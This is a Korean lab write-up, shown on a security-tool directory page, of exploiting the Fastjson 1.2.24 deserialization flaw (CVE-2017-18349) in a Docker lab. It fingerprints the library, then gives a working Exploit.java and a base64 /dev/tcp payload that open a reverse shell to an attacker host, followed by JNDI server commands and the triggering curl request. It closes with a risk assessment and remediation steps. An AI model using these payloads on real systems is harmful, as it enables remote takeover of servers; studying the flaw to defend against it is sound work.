Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2017-18349 — CVE-2017-18349 Fastjson 역직렬화 RCE 공격에 대한 단계별 실습으로, Docker 랩 환경에서 공격 표면 식별, 핑거프린팅, JNDI 인젝션, 리버스 셸 획득을 다룹니다. | Kitploit
도구/GitHubGitHub/dungsocool/cve-2017-18349
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRemote Access ToolPayload DevelopmentBinary ExploitationLabs & Practice
GitHubdungsocool/cve-2017-18349

CVE-2017-18349

CVE-2017-18349 Fastjson 역직렬화 RCE 공격에 대한 단계별 실습으로, Docker 랩 환경에서 공격 표면 식별, 핑거프린팅, JNDI 인젝션, 리버스 셸 획득을 다룹니다.

53개월 전아직 검토되지 않음
저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

실습 6-CVE-2017-18349

I. 시스템 분석

공격 표면 식별

환경에서 실행 중인 것이 무엇인지부터 살펴보겠습니다. 활성 컨테이너를 모두 나열합니다:

root@kitploit:~
docker ps

image.png

피해자는 단일 포트 8090만 노출하고 있습니다

현재 대상이 무엇인지 아직 완전히 파악되지는 않았습니다. docker ps 결과에서 시스템은 포트 8090에서 하나의 주목할 만한 서비스만 외부에 공개하며, 이 포트는 컨테이너의 내부 서비스에 매핑됩니다. 이것이 분석해야 할 주요 공격 표면입니다.

⇒ 추가 정보를 얻기 위해 직접 Curl로 요청을 보냅니다

root@kitploit:~
curl -i 192.168.3.137:8090/

image.png

응답 분석:

  • 응답의 Content-Type은 application/json;charset=UTF-8입니다.
  • 반환된 데이터는 JSON 형식입니다: {"age": 25, "name": "Bob"}.
  • ⇒ 판단: 포트 8090에 접근하면 서버가 JSON 데이터를 반환합니다. 이는 해당 엔드포인트가 단순히 정적 웹 페이지를 제공하는 것이 아니라, 요청을 처리하고 데이터를 JSON으로 직렬화하여 클라이언트에 반환하는 백엔드가 존재함을 의미합니다. docker ps 결과에서 컨테이너 내부에서 실행 중인 명령은 Java 애플리케이션의 특징을 보여주므로, 다음 조사 방향은 Java에서 흔히 사용되는 JSON 파서를 핑거프린팅하는 것입니다.

    Java에서 널리 사용되는 JSON 라이브러리인 Jackson, Gson, Fastjson은 모두 비정상적인 입력을 만났을 때 서로 다르게 동작합니다. 따라서 오류 기반 핑거프린팅(Error-based Fingerprinting) 기법을 활용할 수 있습니다. 반환되는 오류는 때로 라이브러리나 내부 처리 메커니즘을 직접적으로 드러냅니다. 그중에서도 Fastjson은 이전 버전에 AutoType 역직렬화와 관련된 여러 치명적인 취약점이 있었기 때문에 우선적으로 확인이 필요한 대상입니다.

    여기서 저는 백엔드가 Fastjson을 사용한다고 단정하지 않습니다. 단지 @type 키를 통한 명확한 핑거프린트가 있고, 실제로 구버전 Fastjson이라면 표준 파싱 오류보다 훨씬 더 나아가 잠재적으로 RCE까지 이어질 수 있기 때문에 Fastjson을 첫 번째 확인 방향으로 선택한 것입니다.

    핑거프린팅 및 라이브러리 프로빙

    Fastjson에는 핑거프린팅에 매우 유용한 특성이 하나 있습니다: 특수한 @type 키를 인식한다는 점입니다. 백엔드가 Fastjson을 사용하고 역직렬화 흐름으로 전달되는 요청 본문이 AutoType을 지원한다면, 파서는 @type 값을 Java 클래스 이름으로 해석하려 시도할 수 있습니다.

    따라서 존재하지 않는 클래스를 가리키는 @type이 포함된 페이로드를 전송합니다. 이 단계의 목적은 즉시 악용하는 것이 아니라, 백엔드가 @type에 반응하는지 관찰하는 것입니다.

    root@kitploit:~
    curl -i -X POST -H "Content-Type: application/json" \
      -d '{"@type":"com.non.existent.Class"}' \
      http://192.168.3.137:8090/
    

    image.png

    만약 백엔드가 표준 JSON 파서를 사용하고 @type을 신경 쓰지 않았다면, 이 필드는 무시되거나 JSON의 일반적인 키로 취급되었을 것입니다. 그러나 여기서 백엔드는 유형 관련 동작(type not match)으로 반응하며, 이는 요청이 클래스/타입 매핑 처리 흐름에 진입했음을 의미합니다.

    "type not match" 메시지는 Fastjson이 @type을 처리할 때 자주 마주치는 특징적인 시그니처로, 지정된 클래스가 엔드포인트가 기대하는 데이터 타입과 일치하지 않거나, 클래스가 존재하지 않거나 역직렬화가 허용되지 않는 경우에 나타납니다.

    ⇒ 판단: 백엔드는 POST 요청의 JSON 본문을 실제로 파싱하며, @type 필드는 무시되지 않습니다. 파서는 타입 메타데이터 처리 메커니즘을 갖고 있고, 반환된 오류는 Alibaba Fastjson의 동작과 일치합니다. 따라서 백엔드가 Alibaba Fastjson을 사용하고 있다고 높은 신뢰도로 결론을 내릴 수 있습니다.**

    악용 조건 식별

    핑거프린팅 단계를 거친 후에도 시스템이 악용 가능하다고 바로 결론 내릴 수는 없습니다. 백엔드가 Fastjson을 사용한다는 것은 JSON 요청이 @type 처리 흐름에 진입한다는 것만 증명합니다.

    RCE 익스플로잇을 실행하려면 다음 사항이 검증되어야 합니다:

    • 사용 중인 Fastjson이 AutoType 역직렬화의 영향을 받는 구버전인지 여부.
    • 피해자의 JVM이 JNDI를 통해 원격으로 클래스를 로드하도록 허용하는지 여부.
    • 클래스패스/JDK에 위험한 동작을 트리거할 수 있는 적절한 가젯 클래스가 존재하는지 여부.

    ⇒ 판단: type not match 오류는 백엔드가 @type에 반응한다는 것을 보여주지만, 현재 페이로드는 오류를 유발하기 위해 가짜 클래스를 사용한 것에 불과합니다. 실제 악용을 위해서는 그 가짜 클래스를 Java/JDK에 존재하는 실제 클래스로 교체해야 하며, 해당 클래스는 JNDI lookup과 같은 아웃바운드 동작을 만들 수 있어야 합니다.

    Fastjson 및 JVM 버전 확인

    버전을 확인하기 위해 컨테이너/애플리케이션 내부에서 직접 확인합니다.

    image.png

    애플리케이션이 /usr/src/fastjsondemo.jar 파일로 패키징되어 있음을 확인한 후, JSON 처리 라이브러리를 찾기 위해 이 패키지 구조를 심층 분석합니다. BOOT-INF/lib/ 디렉터리 구조를 확인하면 fastjson-1.2.24.jar 파일이 드러납니다(그림 X).

    정확히 1.2.24 버전을 사용하고 있다는 것은 — autoType 방어 메커니즘이 전혀 없는 역직렬화 취약점의 영향을 받는 최초이자 가장 유명한 버전 — 시스템이 CVE-2017-18349에 취약함을 확인하게 해줍니다.

    fastjson-1.2.24.jar를 발견함으로써 애플리케이션이 AutoType 역직렬화 결함의 영향을 받는 그룹에 속하는 매우 오래된 Fastjson 버전을 사용한다는 것이 확인됩니다. 이 버전에서는 이후 버전들처럼 AutoType에 대한 제어 메커니즘이 강화되지 않았으므로, 라이브러리 조건 측면에서 시스템은 JdbcRowSetImpl과 같은 가젯 클래스를 통한 악용에 취약합니다.

    그러나 실제 악용 가능성은 여전히 엔드포인트가 Fastjson을 어떻게 호출하는지에 달려 있습니다. 애플리케이션이 JSON을 고정된 클래스로 파싱한다면, 루트 객체에 @type 페이로드를 설정했을 때 "type not match" 오류가 발생할 수 있습니다. 따라서 버전 식별 후에는 익스플로잇 체인이 실제로 JNDI lookup에 도달하는지 확인하기 위해 JVM, 가젯 클래스, LDAP 콜백 동작을 계속 분석해야 합니다.

    JNDI Lookup 도달 조건 분석

    1. JVM 장벽 분석

    Fastjson 버전 외에도 Java 버전이 결정적인 요소입니다. 컨테이너 내부의 JVM을 확인합니다:

    root@kitploit:~
    java -version
    

    image.png

    이것은 중요한 정보입니다. Fastjson 익스플로잇 체인은 일반적으로 JNDI Injection에 의존하기 때문입니다. 최신 Java 버전은 기본적으로 LDAP/RMI를 통한 외부 코드베이스에서 클래스 로딩을 차단합니다. 그러나 Java 8u102는 아직 이러한 차단 메커니즘이 없는 구버전입니다.

    따라서 공격자가 JNDI lookup을 트리거할 수 있다면, 피해자의 JVM은 외부 HTTP 서버에서 클래스를 다운로드하여 런타임에 로드할 수 있는 능력을 갖추고 있습니다.

    JdbcRowSetImpl 가젯 분석

    구버전 Fastjson과 JVM을 식별한 후, 다음 단계는 JDK에 존재하면서 역직렬화될 때 위험한 동작을 만들어낼 수 있는 클래스를 찾는 것입니다.

    com.sun.rowset.JdbcRowSetImpl은 적합한 가젯입니다. 이 클래스는 JDK에 존재하고 dataSourceName 속성을 가지고 있기 때문입니다. dataSourceName에 LDAP URL 형식의 값이 할당되면, 해당 객체는 아웃바운드 JNDI lookup을 트리거하는 데 악용될 수 있습니다.

    ⇒ 판단: 서버에 코드를 직접 업로드할 필요는 없습니다. 대신 JVM 내부에 존재하는 기존 클래스를 활용하여 피해자가 공격자가 통제하는 LDAP 서버로 연결하도록 강제합니다.

    익스플로잇 체인 검증

    라이브러리와 JVM에 관한 필수 조건을 확립한 후에는 페이로드가 실제로 피해자를 아웃바운드로 연결하도록 강제하는지 검증해야 합니다. 이는 다음을 구분하는 중요한 단계입니다:

    • 취약한 라이브러리/버전을 포함하고 있는 시스템.
    • 실제로 JNDI lookup을 성공적으로 트리거할 수 있는 실제 익스플로잇 체인.

    LDAP 서버 또는 리스너가 피해자로부터 연결을 수신하면, 페이로드가 성공적으로 JNDI lookup 단계에 도달했음을 증명합니다. 콜백이 없고 서버가 type not match를 반환하면, 현재 페이로드가 엔드포인트의 역직렬화 흐름과 일치하지 않음을 나타냅니다. 이 경우 페이로드를 엔드포인트가 파싱하는 정확한 객체 구조에 맞게 조정하거나, 대체 우회 기법/가젯을 활용해야 합니다.

    분석 단계 결론

    위 단계들을 통해 시스템의 조건 체인은 다음과 같이 요약될 수 있습니다:

    • 포트 8090의 서비스는 JSON을 처리하는 백엔드입니다.
    • @type에 대한 오류 응답은 백엔드가 타입 메타데이터 메커니즘을 처리하며, 이는 Fastjson의 동작과 일치함을 나타냅니다.
    • 컨테이너 내부 검사를 통해 애플리케이션이 fastjson-1.2.24.jar 라이브러리를 패키징하고 있음이 확인됩니다.
    • Fastjson 1.2.24는 CVE-2017-18349의 영향을 받는 버전 그룹에 속합니다.
    • 피해자의 JVM은 OpenJDK 1.8.0_102로, 기본적으로 JNDI를 통한 원격 코드베이스 로딩을 차단하지 않는 구버전입니다.
    • com.sun.rowset.JdbcRowSetImpl 가젯은 JDK에 존재하며 dataSourceName 속성을 통해 JNDI lookup을 트리거하는 데 악용될 수 있습니다.

    ⇒ 악용 판단:

    파일 업로드 기능을 찾거나 서버에 파일을 직접 쓸 필요는 없습니다. 대신 Fastjson의 역직렬화 흐름을 활용하여 JVM이 JdbcRowSetImpl 객체를 인스턴스화하도록 강제합니다. 이 객체가 LDAP URL 형태의 dataSourceName을 받으면, 피해자는 공격자가 통제하는 서버로 JNDI lookup을 수행합니다. 그 지점에서 공격자는 JVM을 외부 HTTP 서버에서 악성 클래스를 다운로드하도록 리디렉션하고 해당 클래스 내부의 코드를 실행할 수 있습니다.

    따라서 선택된 악용 경로는 다음과 같습니다:

    root@kitploit:~
    Fastjson AutoType
    → JdbcRowSetImpl gadget
    → JNDI LDAP lookup
    → HTTP codebase containing Exploit.class
    → Reverse shell back to the attacker
    

    II. 익스플로잇

    익스플로잇 메커니즘

    root@kitploit:~
    text
    
    Connection received on 192.168.3.137 43928
    whoami
    root
    

    Fastjson 1.2.24에서 com.sun.rowset.JdbcRowSetImpl 클래스는 JVM 클래스패스(표준 라이브러리 rt.jar에 속함)에 존재하는 가젯 클래스입니다. Fastjson이 이 클래스를 가리키는 @type이 포함된 JSON 문자열을 역직렬화할 때:

    1. Fastjson은 JdbcRowSetImpl을 인스턴스화합니다.
    2. setDataSourceName() 세터가 호출됩니다 → JNDI 주소가 설정됩니다.
    3. setDataSourceName()은 내부적으로 InitialContext.lookup(dataSourceName)을 트리거합니다 → JNDI Injection 전체가 바로 여기서 발생하며, setAutoCommit()이 실행될 기회를 얻기 전에 일어납니다.
    4. JNDI Lookup이 공격자의 LDAP 서버를 조회합니다 → Reference 객체를 수신합니다.
    5. JVM이 HTTP Codebase에서 Exploit.class 파일을 다운로드하여 메모리에 로드합니다 → static {} 블록을 실행합니다.

    Java 익스플로잇 코드 작성 (Exploit.java)

    root@kitploit:~
    import java.io.IOException;
    public class Exploit {
        static {
            try {
                String[] cmd = {
                    "/bin/bash",
                    "-c",
                    "exec 5<>/dev/tcp/192.168.3.114/4444;cat <&5 | while read line; do $line 2>&5 >&5; done"
                };
                Runtime.getRuntime().exec(cmd);
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    }
    

    Java 8 하위 호환 컴파일 및 HTTP Codebase 서버 설정

    피해자의 JVM이 Java 8u102를 실행 중이므로 컴파일 시 대상을 Java 8로 지정해야 합니다. 그렇지 않으면 피해자가 UnsupportedClassVersionError를 발생시키고 공격 체인은 조용히 실패합니다. 그런 다음 HTTP Codebase 서버를 설정합니다:

    root@kitploit:~
    javac -source 1.8 -target 1.8 Exploit.java
    python3 -m http.server 8000
    

    JNDI-Injection-Exploit을 사용한 JNDI 익스플로잇 서버 설정

    Kali 환경은 Java 25를 실행 중이라 — marshalsec를 빌드하기에는 너무 최신 — 대체 도구인 JNDI-Injection-Exploit을 사용합니다. 먼저 리버스 셸 페이로드를 base64 형식으로 생성합니다:

    root@kitploit:~
    echo -n "bash -i >& /dev/tcp/192.168.3.114/4444 0>&1" | base64
    

    위 페이로드로 JNDI 서버를 시작합니다:

    root@kitploit:~
    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar \
      -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMTE0LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" \
      -A 192.168.3.114
    

    image.png

    이 도구는 LDAP 엔드포인트를 자동으로 생성합니다:

    root@kitploit:~
    ldap://192.168.3.114:1389/6bzjwg
    

    리슨 및 공격 체인 트리거

    리버스 셸 리슨 포트를 엽니다:

    root@kitploit:~
    nc -lvnp 4444
    

    루트 객체에 @type 페이로드를 배치하면 type not match 오류가 반환되는 것을 확인할 수 있습니다 — Spring Boot 컨트롤러가 JSON을 고정된 타입으로 매핑하고 있으며, 이는 루트 레벨의 JdbcRowSetImpl과 일치하지 않기 때문입니다.

    페이로드 조정: 가젯 클래스를 중첩 필드("data":{...}) 안에 감싸서, Fastjson이 컨트롤러의 타입 제약과 독립적으로 중첩 객체를 처리하도록 합니다:

    root@kitploit:~
    curl -i -X POST -H "Content-Type: application/json" \
      -d '{"data":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.3.114:1389/6bzjwg","autoCommit":true}}' \
      http://192.168.3.137:8090/
    

    익스플로잇 결과

    image.png

    LDAP 서버(marshalsec): 피해자 IP로부터 성공적인 JNDI 조회 요청이 기록되었으며 HTTP codebase로 리디렉션되었습니다.

    HTTP 서버(Python): 피해자 IP로부터 Exploit.class 파일 다운로드 요청이 상태 코드 200 OK로 기록되었으며, JVM이 바이트코드를 성공적으로 로드했음을 증명합니다.

    Netcat 리스너: 인터랙티브 세션(리버스 셸)이 성공적으로 수립되었습니다:

    root@kitploit:~
    listening on [any] 4444 ...
    connect to (192.168.3.114) from (UNKNOWN) [192.168.3.137] 49439
    root@7308074af0ab:/# whoami
    root
    

    전체 익스플로잇 체인이 성공적으로 검증되었습니다: JSON 페이로드 전송 → JNDI lookup → LDAP 리퍼럴 → 원격 클래스 로딩 → static {} 블록에서 코드 실행 → root 권한의 리버스 셸 수립까지.

    III. 위험 평가 및 대응 조치

    위험 평가

    이 시스템의 Fastjson 역직렬화 RCE 취약점(CVE-2017-18349)은 최고 심각도 수준으로 평가됩니다:

    기준평가세부 사항
    CVSS 점수9.8 (Critical)극도로 높은 위험 수준 — 특별한 네트워크 접근 권한이 필요 없어 최고점인 10.0보다만 낮습니다.
    인증불필요공격자는 이를 악용하기 위해 어떤 계정이나 자격 증명도 필요하지 않습니다. HTTP 요청을 보낼 수 있는 사람이면 누구나 공격할 수 있습니다.
    복잡도매우 낮음유효한 JSON 페이로드가 포함된 단 한 번의 HTTP POST 요청만 보내면 됩니다 — 복잡한 도구나 특별한 조건이 필요하지 않습니다.
    JVM 보호없음Java 8u102에는 원격 클래스 로딩을 차단하는 메커니즘이 없으며(trustURLCodebase 기본값이 true), JNDI Injection → 원격 클래스 로딩 전체 체인이 방해받지 않고 동작할 수 있습니다.
    획득 권한root최고 권한 수준으로 애플리케이션 컨테이너를 완전히 제어 — /etc/shadow를 포함한 모든 파일 읽기/쓰기/삭제가 가능합니다.
    횡적 이동높음침해된 컨테이너에서 공격자는 내부 네트워크(172.19.0.0/16)를 스캔하고 동일한 Docker 네트워크 project1_default의 다른 컨테이너를 공격할 수 있습니다.

    대응 권장 사항

    이 취약점을 완전히 해결하기 위해 다음 우선순위 순서로 조치를 수행해야 합니다:

    긴급 우선순위(단기):

    1. Fastjson 업그레이드: 라이브러리를 안전한 버전(≥ 1.2.83)으로 업데이트합니다. 1.2.25 버전부터 autoType 기능은 기본적으로 비활성화되었고 엄격한 블랙리스트 메커니즘이 추가되어 — CVE-2017-18349의 공격 벡터를 직접 제거합니다. 또는 더 잘 유지 관리되는 대체 라이브러리인 Jackson 또는 Gson으로의 전환을 고려합니다.
    2. JVM 업그레이드: Java 런타임을 최소 Java 8u191 이상으로 업데이트합니다. 이 버전부터 com.sun.jndi.ldap.object.trustURLCodebase 속성은 기본값이 false로 설정되어 — Fastjson에 여전히 취약점이 있더라도 JVM이 LDAP/RMI를 통해 원격으로 클래스를 자동 로드하는 능력을 완전히 차단하여 JNDI Injection 체인을 무너뜨립니다.
    3. 실행 권한 축소: 웹 애플리케이션을 절대 root 사용자로 실행하지 마십시오. 최소 권한을 가진 전용 사용자(예: app_user)를 생성합니다 — 공격자가 RCE를 달성하더라도 피해는 그 사용자의 권한 범위로 제한됩니다.

    높은 우선순위(장기 및 심층 방어):

    1. autoType 비활성화: 단기적으로 구버전 Fastjson을 유지해야 한다면, 소스 코드에서 SafeMode를 활성화하여 autoType을 완전히 끕니다:
    root@kitploit:~
    ParserConfig.getGlobalInstance().setSafeMode(true);
    

    또는 승인된 클래스만 역직렬화할 수 있도록 엄격한 화이트리스트를 구축합니다.

    1. WAF 배포: JSON 본문에 Fastjson 악용의 시그니처(@type, JdbcRowSetImpl, dataSourceName, ldap://, rmi://)가 포함된 HTTP 요청을 탐지하고 차단하도록 웹 애플리케이션 방화벽을 구성합니다.
    2. 컨테이너 네트워킹 제한: 컨테이너가 아웃바운드 연결(아웃바운드 트래픽)을 능동적으로 시작하지 못하도록 방화벽 규칙을 구성합니다 — 리버스 셸이 공격자에게 다시 연결되는 것을 방지하고 외부 LDAP/RMI 서버로의 JNDI 콜백을 차단합니다. Docker 환경에서는 적절한 -network 및 iptables 규칙을 구성합니다.
    도구 다운로드